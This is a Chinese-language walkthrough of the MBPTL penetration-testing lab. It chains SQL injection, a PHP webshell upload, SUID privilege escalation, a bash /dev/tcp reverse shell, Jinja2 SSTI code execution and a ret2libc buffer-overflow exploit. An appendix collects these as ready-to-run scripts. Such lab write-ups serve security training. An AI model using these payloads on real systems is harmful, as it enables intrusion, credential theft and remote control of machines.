MBPTL 完整滲透 Writeup
Most Basic Penetration Testing Lab —
從環境架設到 17 面旗的完整攻擊鏈紀錄,
每一步拆成三層講:概念(是什麼)→ 為什麼(原理)→ 怎麼做(指令)。
Flag 值一律以Redacted呈現,不揭露實際值。
https://github.com/bayufedra/MBPTL
0. 靶場概觀與方法論
MBPTL 把一條完整的 kill chain 濃縮成 17 面旗,橫跨 7 個階段:偵察 → Web 列舉 → SQL 注入 → 後滲透/提權 → SOC 鑑識 → 內網橫向移動 → 二進位利用,它的設計價值不在單一漏洞,而在縱深——你必須先深挖唯一的對外入口拿到立足點,再以它為跳板橫向展開到兩個純內網服務。
整個環境由 3 個 Docker 容器組成:
| 容器 | 網段 IP | 對外埠 | 角色 |
|---|---|---|---|
mbptl-main |
172.23.0.2 | 80, 8080 | 對外入口:書店網站 (SQLi) + admin panel (file upload) |
mbptl-app |
172.23.0.4 | 5000(內網) | Flask 服務,Jinja2 SSTI |
mbptl-internal |
172.23.0.3 | 31337(內網) | custom binary 服務,buffer overflow |
關鍵拓撲:只有 mbptl-main 對外(80/8080),5000 與 31337 沒有對外發布,只能在打下 main 之後、從內網去碰,這就是為什麼 Phase 6/7 必須靠 pivoting。
貫穿全程的方法論(比 flag 本身更值得記):
- 偵察優先,行為帶路:每個攻擊點都先觀察它「怎麼回應」,再決定 payload,不預設漏洞類型硬套。
- 讀完整回應,不要只 grep flag string:真實滲透沒有
FLAG{}標記,旗子旁邊的憑證、路徑、結構才是推進的線索。 - 假設不符就換角度:檔名、路徑、行為跟預期不同時,環顧目錄/改變觀察方式,而不是硬撞同一面牆。
1. 環境架設
概念
把靶場以 Docker Compose 拉起,三個容器 + 一個自訂 bridge 網路。
為什麼
自架 Docker 靶的好處是隔離、可重置、行為可控。用 Compose 一鍵起,壞了 down -v 清乾淨重來,不會污染主機。
怎麼做
git clone https://github.com/bayufedra/MBPTL
cd MBPTL/mbptl/
docker compose up -d
docker compose ps
確認三個容器都 Up:
NAME STATUS PORTS
mbptl-app Up 5000/tcp
mbptl-internal Up 31337/tcp
mbptl-main Up 0.0.0.0:80->80/tcp, 0.0.0.0:8080->8080/tcp, 3306/tcp
踩坑提醒:若 8080 被占(例如同機還跑著別的靶),mbptl-main會因port is already allocated起不來,先docker ps找出占用者、docker compose down -v收掉,或改.env換埠。
觀察埠的對外性:mbptl-main 的 80/8080 有 0.0.0.0: 前綴 = 對外; mbptl-app 的 5000、mbptl-internal 的 31337 沒有前綴 = 純內網,這一眼就定義了攻擊順序。
2. 攻擊面地圖
怎麼做
# 對外埠掃描
nmap -sV -p 80,8080 localhost
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open http Apache httpd 2.4.41 ((Ubuntu))
兩個都是 Apache 2.4.4,典型 LAMP,SQLi 大概率 PHP + MySQL。
# 爆 80 的目錄
gobuster dir -u http://localhost:80 -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x php,html,txt -t 40 -q
關鍵發現:/detail.php(帶參數的單筆查詢頁 → SQLi 嫌疑)、/index.php、/img/、/inc/。
Phase 1 — 偵察 (Flag 1–3)
Flag 1 — HTML 註解
概念:網頁原始碼裡的 <!-- --> 註解常被開發者遺留敏感資訊。
為什麼:註解不會顯示在渲染後的頁面,開發者容易忘記它仍在原始碼中對任何人可見,這是最基礎的資訊洩漏。
怎麼做:
curl -s http://localhost:80/index.php | grep -iE '<!--|flag'
<!-- MBPTL-1{Redacted} -->
Flag 2 — HTTP Header
概念:伺服器回應的 HTTP header 裡藏 flag(此處是自訂 header X-MBPTL)。
為什麼:HTTP header 是伺服器與客戶端溝通的元資料層,一般使用者不會注意,但對攻擊者是標準偵察面——自訂 header、版本資訊、cookie 都在這。
怎麼做:
curl -s -I http://localhost:80/
X-MBPTL: MBPTL-2{Redacted}
Flag 3 — 替代 Web 服務 (8080)
概念:主服務之外的第二個 web 服務,常被忽略。
為什麼:同一台主機開多個 web 埠是常見架構(前台/後台分離),攻擊者必須枚舉所有埠,次要服務往往防護較弱——這裡 8080 就是後台 admin panel 的入口。
怎麼做:
curl -s http://localhost:8080/ | head -40
首頁是「Under Maintenance」偽裝頁,但 body 裡直接印著:
MBPTL-3{Redacted}
教訓:別只 grep HTML 註解,整頁 body 掃過去——這面旗就在維護頁的可見文字裡,不在註解。
Phase 2 — Web 列舉 (Flag 4)
概念
枚舉出隱藏的管理後台路徑 /administrator/。
為什麼
管理面板是高價值目標(通常通往檔案上傳、設定修改),目錄枚舉是 web 滲透的核心步驟——很多入口沒有連結指向,只能靠字典爆破或已知路徑猜測。
怎麼做
curl -s -i http://localhost:8080/administrator/ | head -40
回 200,是一個 Login Page,並發了 PHPSESSID cookie,Flag 印在登入頁 body:
MBPTL-4{Redacted}
這個登入框是後續 Phase 3 的終點:SQLi 撈出的帳密要回來登入這裡(Flag 7),進去才有 file upload,攻擊鏈在此埋下伏筆。
Phase 3 — SQL Injection (Flag 5–7)
Flag 5 — SQLi 漏洞確診
概念:detail.php?id= 的 id 參數未過濾,直接拼進 SQL 查詢。
為什麼:SQL 注入的本質是「資料被當成程式碼執行」,當使用者輸入未經參數化就拼進查詢字串,一個單引號 ' 就能閉合原本的字串、破壞語法,伺服器吐出的錯誤訊息會洩漏後端結構。
怎麼做:
# 正常值(基準)
curl -s "http://localhost:80/detail.php?id=1" | head -30
# 單引號觸發語法錯誤
curl -s "http://localhost:80/detail.php?id=1'" | head -30
單引號那發直接爆:
Error: You have an error in your SQL syntax; ... near '' LIMIT 1' at line 1
MBPTL-5{Redacted}
從錯誤還原後端查詢:... near '' LIMIT 1' 揭露 SQL 大概是 SELECT ... FROM books WHERE id='$id' LIMIT 1,這是字串型注入、單引號閉合、尾隨 LIMIT 1——最好打的 error-based / UNION 場景。
Flag 6 — 用 SQLMap 撈 DB flag
概念:自動化工具把注入點轉為完整資料庫讀取。
為什麼:手工 UNION 注入可行但慢,SQLMap 自動判定注入型別、指紋 DBMS、枚舉庫/表/欄位並 dump——這是階段指定的工具,學會它的工作流是重點。
怎麼做:
# 落庫 + 列所有 database
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch --dbs
SQLMap 確認四種注入型別全中(boolean-based / error-based / time-based / UNION, 5 欄),列出 database,目標庫是 administrator 與 bookstore。
# 列 administrator 庫的表
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator --tables
得到兩張表:flag、users,dump flag 表:
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator -T flag --dump
+----+-------------------+
| id | flag |
+----+-------------------+
| 1 | MBPTL-6{Redacted} |
+----+-------------------+
Flag 7 — 撈憑證登入 admin panel
概念:從 users 表 dump 出 admin 帳密,登入 8080 的後台。
為什麼:SQLi 不只讀 flag,更重要的是撈出可重用的憑證,拿到 admin 密碼 = 拿到管理後台 = 通往檔案上傳與 RCE,這是「一個漏洞打開下一扇門」的縱深。
怎麼做:
sqlmap -u "http://localhost:80/detail.php?id=1" -p id --batch -D administrator -T users --dump
SQLMap 發現密碼是 MD5,順手用內建字典破解:
+----+----------------------------------------------+----------+
| id | password | username |
+----+----------------------------------------------+----------+
| 1 | 8a24367a...(P@ssw0rd!) | admin |
+----+----------------------------------------------+----------+
拿 admin / P@ssw0rd! 登入,Flag 7 印在登入後的 dashboard:
curl -s -c /tmp/mbptl.jar -b /tmp/mbptl.jar -L \
-d 'username=admin&password=P@ssw0rd!' \
http://localhost:8080/administrator/
MBPTL-7{Redacted}
概念補充:MD5 是無鹽快速雜湊,對字典/彩虹表毫無抵抗力,P@ssw0rd! 這種常見密碼幾秒就破,這暗示了地圖「password cracking」階段——SQLMap 幫你做掉了。Phase 4 — 後滲透與提權 (Flag 8–9)
上傳 webshell 取得 RCE
概念:admin panel 的「Insert Book」功能有圖片上傳,但未驗證檔案類型/副檔名,可上傳 PHP webshell。
為什麼:file upload 漏洞的核心是「伺服器信任了使用者控制的檔案」,前端的 accept="image/*" 只是瀏覽器提示,對直接構造的 HTTP 請求毫無約束,只要伺服器把 .php 存進 webroot 且 Apache 會解析它,上傳的檔案就變成可執行的後門。
怎麼做:
先看上傳表單結構:
curl -s -b /tmp/mbptl.jar http://localhost:8080/administrator/admin.php | grep -iE '<form|<input|name='
欄位:title / author / description(必填文字)+ image(檔案,accept="image/*")。
構造 webshell 並上傳(偽造 MIME 繞過可能的 content-type 檢查):
echo '<?php system($_GET["c"]); ?>' > /tmp/sh.php
curl -s -b /tmp/mbptl.jar \
-F 'title=x' -F 'author=x' -F 'description=x' \
-F 'image=@/tmp/sh.php;type=image/png' \
http://localhost:8080/administrator/admin.php
回 Book inserted successfully! — 上傳成功,但回應不吐落地路徑。
定位 webshell 落點(關鍵技巧)
概念:上傳成功 ≠ 知道檔案在哪,伺服器把檔案改名(MD5)並放進非預設目錄。
為什麼:盲目掃 /img/sh.php 全 404,因為(1)檔名被改成雜湊、(2)目錄不是預期的。最快的定位法不是暴力爆破,而是回到列表頁看伺服器怎麼引用你的檔案——書封圖片的 <img src> 會洩漏真實路徑。
怎麼做:
前端上傳一張圖後,回書店頁面查看新書封面的圖片位址,得到:
http://localhost:8080/administrator/uploads/<md5>.php
兩個坑一次揭曉:目錄是 administrator/uploads/、檔名被 MD5 重命名、但副檔名保留 .php → 會被 Apache 當 PHP 執行。
觸發 RCE:
WS="http://localhost:8080/administrator/uploads/<md5>.php"
curl -s "$WS?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Flag 8 — User flag
curl -s "$WS?c=ls+-la+/flag"
curl -s "$WS?c=cat+/flag/user.txt"
---------- 1 root root 43 ... root.txt ← 權限 000,www-data 讀不到
-rw-rw-r-- 1 root root 43 ... user.txt ← 可讀
MBPTL-8{Redacted}
Flag 9 — Root flag(SUID 提權)
概念:root.txt 權限為 000,必須提權到 root 才能讀,提權入口是一個仿冒名的 SUID binary。
為什麼:SUID(Set-User-ID)位讓程式以檔案擁有者的身分執行,而非呼叫者,若一個 root 擁有的 SUID 程式能執行 shell,任何人跑它都能取得 root,標準提權偵察第一步就是找 SUID 檔。
怎麼做:
curl -s "$WS?c=find+/+-perm+-4000+-type+f+2>/dev/null"
清單裡混著一個拼錯的名字:
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
...
/usr/bin/bahs ← 注意!不是 bash,是 ba**hs**
bahs 是仿 bash 拼反的後門 SUID,確認它:
curl -s "$WS?c=ls+-la+/usr/bin/bahs"
-rwsr-sr-x 1 root root 16784 ... /usr/bin/bahs ← s 位 = SUID + SGID,屬主 root
它是個 setuid shell,關鍵細節:webshell 是非互動環境,裸跑 bahs 會開 shell 但沒 stdin; 必須用 -c 或管線餵指令:
curl -s -G "$WS" --data-urlencode "c=/usr/bin/bahs -c 'id; cat /flag/root.txt'"
uid=0(root) gid=0(root) groups=0(root),33(www-data)
MBPTL-9{Redacted}
概念補充:為什麼要-c?非互動system()呼叫下,bahs起了 shell 卻立即因 EOF 結束(沒有互動 stdin),用-c 'command'直接把指令當參數傳,shell 執行完回傳結果——這個「非互動環境用 -c 餵 SUID shell」的細節,後面在提權為互動 shell 時還會再遇到。
Phase 5 — SOC 分析 (Flag 10–12)
概念
以 root 身分讀取系統日誌、命令歷史、shell 設定——這是防守方(SOC)的鑑識視角,反過來對攻擊者是「翻箱倒櫃找殘留資訊」。
為什麼
拿到最高權限後,/root 家目錄、系統 log 是資訊金礦:歷史指令可能洩漏內網結構、密碼、其他服務的存取方式,SOC 階段教你「攻擊者/管理員做過什麼,都寫在 log 裡」。
關鍵坑:非互動 setuid 撐不住
先前用 webshell + bahs -c 直接 grep 這些檔全部空回,但 cat /flag/root.txt 卻成功,差別在:
cat /flag/root.txt是單一短指令,bahs的 setuid 有效 UID=0 撐得住。timeout 15 grep ...這種先啟動 timeout(www-data)再 fork grep,euid 掉回 www-data,讀不到 root-only 檔。
解法:彈一個互動 reverse shell,在互動環境裡 bahs 的 setuid 才穩定保持。
建立互動 root shell
# 探工具(這容器只有 bash,沒有 nc/python)
curl -s -G "$WS" --data-urlencode "c=which bash nc python3"
# → 只有 /usr/bin/bash
# 查靶場 network 的 gateway(容器連回 host 用)
docker network inspect mbptl_default | grep -i gateway
# → 172.23.0.1
終端機 A(先開監聽):
nc -lvnp 4444
終端機 B(觸發 bash /dev/tcp 反彈):
curl -s -G "$WS" --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/172.23.0.1/4444 0>&1'"
進來是 www-data,升級 TTY + 提權:
id # www-data
script -qc /bin/bash /dev/null # 沒 python,用 script 開 PTY
/usr/bin/bahs # 互動環境下 setuid 穩定保持
id # uid=0(root)
收 Flag 10–12
現在是穩定 root TTY,直接讀:
grep -ra 'MBPTL-1[012]' / 2>/dev/null
/var/log/apache2/access.log:FLAG10='MBPTL-10{Redacted}'
/root/.bash_history:FLAG11='MBPTL-11{Redacted}'
/root/.bashrc:FLAG12='MBPTL-12{Redacted}'
- Flag 10:Apache access log — 攻擊者的請求全記在這。
- Flag 11:root 的
.bash_history— 歷史指令。 - Flag 12:root 的
.bashrc— shell 設定檔的環境變數。
Phase 6 — 網路 Pivoting 與 SSTI (Flag 13–14)
網路偵察:發現內網服務
概念:以被攻陷的 main 容器為跳板,枚舉只在內網存活的服務。
為什麼:5000 與 31337 沒有對外發布,從外部完全看不到,只有站在 main 內部,才能透過 Docker 內建 DNS 或掃網段發現它們,這是橫向移動(pivoting)的核心——「用一個立足點去看見更多的網路」。
怎麼做(在 root shell 內):
cat /etc/hosts # main 自己是 172.23.0.2
getent hosts mbptl-app mbptl-internal # 靠 Docker DNS 解析服務名
172.23.0.4 mbptl-app ← Flask (5000)
172.23.0.3 mbptl-internal ← binary (31337)
which curl → main 有 curl,可直接打 HTTP 服務
Flag 13 — 發現內網 Flask app
概念:透過 main 的 curl 存取內網 5000 服務。
為什麼:一旦確認 main 能路由到 mbptl-app:5000,就能把 main 當代理去打它,不必架 tunnel(因為目標是 HTTP,curl 就夠)。
怎麼做:
curl -s http://mbptl-app:5000/ | head -60
<h1>MBPTL - Internal Web Service</h1>
<p>Hello, World! (/?name=)</p> ← 注入點就標在臉上:?name=
<p>MBPTL-13{Redacted}</p>
Flag 14 — Jinja2 SSTI (Server-Side Template Injection)
概念:?name= 參數被直接拼進 Jinja2 模板字串,導致模板注入 → RCE。
為什麼:SSTI 的本質跟 SQLi 同源——「使用者輸入被當成程式碼(模板語法)執行」。當後端寫成 render_template_string("...%s..." % user_input),使用者的輸入變成模板的一部分,Jinja2 會渲染其中的 {{ }} 表達式,進而存取 Python 物件、模組,最終 RCE。
怎麼做:
第一步,確認是不是 SSTI —— 送數學表達式看會不會被計算:
curl -s "http://mbptl-app:5000/?name=%7b%7b7*7%7d%7d" # {{7*7}}
回 Hello, 49 → SSTI 確診(輸入被當 Jinja2 表達式求值)。
第二步,{{config}} 印出 Flask Config 物件,確認是 Jinja2 引擎:
curl -s "http://mbptl-app:5000/?name=%7b%7bconfig%7d%7d"
# → 渲染出完整 <Config {...}> 物件
第三步,升級到 RCE,透過 Jinja2 的物件鏈存取 os 模組執行指令:
curl -s -G "http://mbptl-app:5000/" --data-urlencode \
"name={{ cycler.__init__.__globals__.os.popen('cat /flag* 2>/dev/null; ls -la /').read() }}"
MBPTL-14{Redacted}
漏洞根因(讀 source 確認):
name = request.args.get('name', 'World! (/?name=)')
return render_template_string("""...<p>Hello, %s</p>...""" % name)
致命的是 render_template_string(... % name) —— 先用 % 把使用者輸入拼進模板字串,再交給 Jinja2 渲染,正確寫法應該把 name 當 context 變數傳入(render_template_string(TEMPLATE, name=name)),讓它只當資料、不當模板語法。
payload 拆解:cycler是 Jinja2 內建物件,.__init__.__globals__拿到它所在模組的全域命名空間,裡面能摸到os模組,.popen(cmd).read()執行系統指令並讀回輸出,這是繞過{{7*7}}之後標準的 Jinja2 RCE 鏈之一。
Phase 7 — Binary Exploitation (Flag 15–17)
前置:離線靜態分析
後台有顆按鈕 Download Binary for MBPTL Internal Service(/administrator/main),下載的正是 31337 服務的本體,逆向的第一步永遠是靜態分析。
file main
# → ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
not stripped(有符號)+ 動態連結,逆向會很輕鬆,查保護機制:
readelf -l main | grep -iE 'STACK|GNU_RELRO'
readelf -h main | grep Type
# Type: EXEC → No PIE,位址固定
# GNU_STACK RWE 空 → NX 可能關閉
No PIE + 無 canary = buffer overflow 教科書場景(位址可寫死,無 stack canary 阻擋覆蓋 return address)。
Flag 15 — Binary 內嵌 flag(逆向還原)
概念:flag 以立即數(immediate)形式編譯進程式碼,strings 抓不到完整值。
為什麼:strings 只能抓連續的可見字元,但編譯器把 flag 拆成 8 bytes 一組,用一連串 movabs rax, <8 bytes> 塞進暫存器再寫到堆疊組回來,這些指令之間夾著機器碼(48 89 85 ...),把 flag 字串切斷了。
怎麼做:
strings main | grep MBPTL-15
# → 只看到 "MBPTL-15" 碎片,被機器碼截斷
反組譯 main() 看它怎麼組 flag:
objdump -d -M intel main | sed -n '/<main>:/,/ret/p'
movabs rax, 0x35312d4c5450424d ; "MBPTL-15" (小端)
mov [rbp-0x100], rax
movabs rax, 0x313761633462637b ; "{cb4ca71"
mov [rbp-0xf8], rax
movabs rax, 0x3861666235313133 ; "3115bfa8"
...
把每個 movabs 的立即數按小端還原、串接,即得完整 flag:
MBPTL-15{Redacted}
教訓:「明明有 flag 卻 grep 不到」→ 大機率是被拆成立即數塞進程式碼,從 movabs 序列還原。Flag 16 — 連上內網 binary 服務
概念:連到 mbptl-internal:31337,服務 banner 直接吐 Flag 16。
為什麼:31337 是純內網,得從 main(有 pivot 能力)去連,main 沒有 nc/python,但 bash 有 /dev/tcp 偽裝置可以建 TCP 連線。
怎麼做(main root shell 內):
exec 3<>/dev/tcp/mbptl-internal/31337
cat <&3 &
echo "test" >&3
=== [ MBPTL INTERNAL SERVICE ] ===
[!] Flag 16: MBPTL-16{Redacted}
[>] Name: [*] Welcome, test!
你的 Kali 若能直接路由到 docker 網段(host 通常可以),也能直接 nc -v 172.23.0.3 31337 拿到同樣的 banner。Flag 17 — Buffer Overflow (ret2libc)
概念:服務用 gets() 讀 Name,無邊界檢查 → 溢位覆蓋 return address → ret 到 binary 內的 system("/bin/sh")。
為什麼:gets() 是永遠不該用的函式——它不限制輸入長度,你要多長給多長,直接淹過堆疊上的緩衝區、蓋掉 saved RBP 與 return address,當程式 ret 時,CPU 跳到我們控制的位址,因為 No PIE(位址固定)、binary 內有 system@plt 和 /bin/sh 字串,我們構造一條 ROP 鏈:pop rdi; ret 把 /bin/sh 位址載入 rdi,再跳 system,等同呼叫 system("/bin/sh")。
怎麼做:
反組譯定位溢位點:
objdump -d -M intel main | sed -n '/<main>:/,/ret/p'
lea rax,[rbp-0x80] ; buffer 在 rbp-0x80
call gets@plt ; 溢位點
計算 offset:buffer 在 [rbp-0x80] = 128 bytes 到 saved RBP,再 +8 到 return address → offset = 136。
蒐集 ROP 元件(No PIE,file offset + 0x400000 = 記憶體位址):
# pop rdi; ret gadget (機器碼 5f c3)
python3 -c "import re; d=open('main','rb').read(); print([hex(m.start()+0x400000) for m in re.finditer(b'\x5f\xc3', d)])"
# → 0x400873
# /bin/sh 字串
strings -t x main | grep /bin/sh # file 0x898 → 記憶體 0x400898
# system@plt (反組譯裡的 call 位址)
# → 0x400570
exploit(pwntools,在 Kali 直連 172.23.0.3:31337):
from pwn import *
p = remote('172.23.0.3', 31337)
POP_RDI = 0x400873 # pop rdi ; ret
BINSH = 0x400898 # "/bin/sh"
SYSTEM = 0x400570 # system@plt
payload = b'A' * 136 # 填滿 buffer 到 return address
payload += p64(POP_RDI) # ret → pop rdi; ret
payload += p64(BINSH) # rdi = "/bin/sh"
payload += p64(SYSTEM) # → system("/bin/sh")
p.recvuntil(b'Name: ')
p.sendline(payload)
p.interactive()
執行後拿到 shell,讀 flag:
$ id
uid=65534(nobody) gid=65534(nogroup)
$ ls -la
... flag.txt ... # 注意:沒有 flag17.txt,flag 在 flag.txt
$ cat flag.txt
MBPTL-17{Redacted}
踩坑:預期讀flag17.txt卻不存在,ls後發現 flag 在flag.txt,再次印證「環顧目錄,別假設檔名」,回顯裡的...s\x08@正是 gadget 位址0x400873洩在Welcome, %s中,證明 offset 精準。
附錄 A — 完整 exploit 腳本
A.1 SQLi 撈憑證(Phase 3)
TARGET="http://localhost:80/detail.php?id=1"
sqlmap -u "$TARGET" -p id --batch --dbs
sqlmap -u "$TARGET" -p id --batch -D administrator --tables
sqlmap -u "$TARGET" -p id --batch -D administrator -T flag --dump # Flag 6
sqlmap -u "$TARGET" -p id --batch -D administrator -T users --dump # 憑證 → Flag 7
A.2 Webshell 上傳 + RCE + 提權(Phase 4)
# 登入拿 session
curl -s -c /tmp/j -b /tmp/j -L -d 'username=admin&password=P@ssw0rd!' \
http://localhost:8080/administrator/
# 上傳 webshell
echo '<?php system($_GET["c"]); ?>' > /tmp/sh.php
curl -s -b /tmp/j -F 'title=x' -F 'author=x' -F 'description=x' \
-F 'image=@/tmp/sh.php;type=image/png' \
http://localhost:8080/administrator/admin.php
# 落點靠前端看 <img src> 定位,得到 <md5>.php
WS="http://localhost:8080/administrator/uploads/<md5>.php"
curl -s "$WS?c=id" # RCE
curl -s -G "$WS" --data-urlencode "c=/usr/bin/bahs -c 'cat /flag/root.txt'" # 提權
A.3 Reverse shell(Phase 5 前置)
# 監聽端(Kali 終端機 A)
nc -lvnp 4444
# 觸發端(透過 webshell,GW = docker network gateway)
curl -s -G "$WS" --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/172.23.0.1/4444 0>&1'"
# 進來後:script -qc /bin/bash /dev/null → /usr/bin/bahs → uid=0
A.4 SSTI RCE(Phase 6)
# 確認
curl -s "http://mbptl-app:5000/?name=%7b%7b7*7%7d%7d" # → 49
# RCE
curl -s -G "http://mbptl-app:5000/" --data-urlencode \
"name={{ cycler.__init__.__globals__.os.popen('cat /flag* 2>/dev/null').read() }}"
A.5 Buffer Overflow(Phase 7)
from pwn import *
p = remote('172.23.0.3', 31337)
payload = b'A'*136 + p64(0x400873) + p64(0x400898) + p64(0x400570)
p.recvuntil(b'Name: ')
p.sendline(payload)
p.interactive() # cat flag.txt
附錄 B — 踩過的坑與教訓
這些是打這台靶時真實卡住、然後突破的點,比 flag 本身更值得記住:
| # | 卡點 | 為什麼卡 | 突破 |
|---|---|---|---|
| 1 | webshell 上傳成功但掃不到 | 檔名被 MD5 改、目錄非預設 | 前端上傳後回列表頁看 <img src> 洩漏路徑 |
| 2 | bahs -c 'cat root.txt' 成功但 grep 全空 |
非互動 + timeout fork 打斷 setuid 鏈 |
彈互動 reverse shell,setuid 才穩定保持 |
| 3 | reverse shell 彈了沒回來 | 用錯 gateway IP(自訂 network 不是 172.17.0.1) | docker network inspect 查真實 gateway(172.23.0.1) |
| 4 | Flag 15 grep 不到 | flag 被拆成 movabs 立即數編進程式碼 |
從反組譯的 movabs 序列小端還原 |
| 5 | 預期 flag17.txt 不存在 |
檔名跟地圖假設不同 | ls 環顧目錄,flag 在 flag.txt |
這台靶的完整攻擊鏈一句話總結
對外 SQLi 撈出 admin 憑證 → 登入後台上傳 webshell 拿 www-data RCE → 仿名 SUID bahs 提權 root → 讀日誌完成 SOC 鑑識 → 以 main 為跳板橫向移動,對內網 Flask 打 Jinja2 SSTI、對內網 binary 打 ret2libc buffer overflow → 17 面旗收官。Writeup 完 — 17/17,理解原理,勝過收集旗子。
Member discussion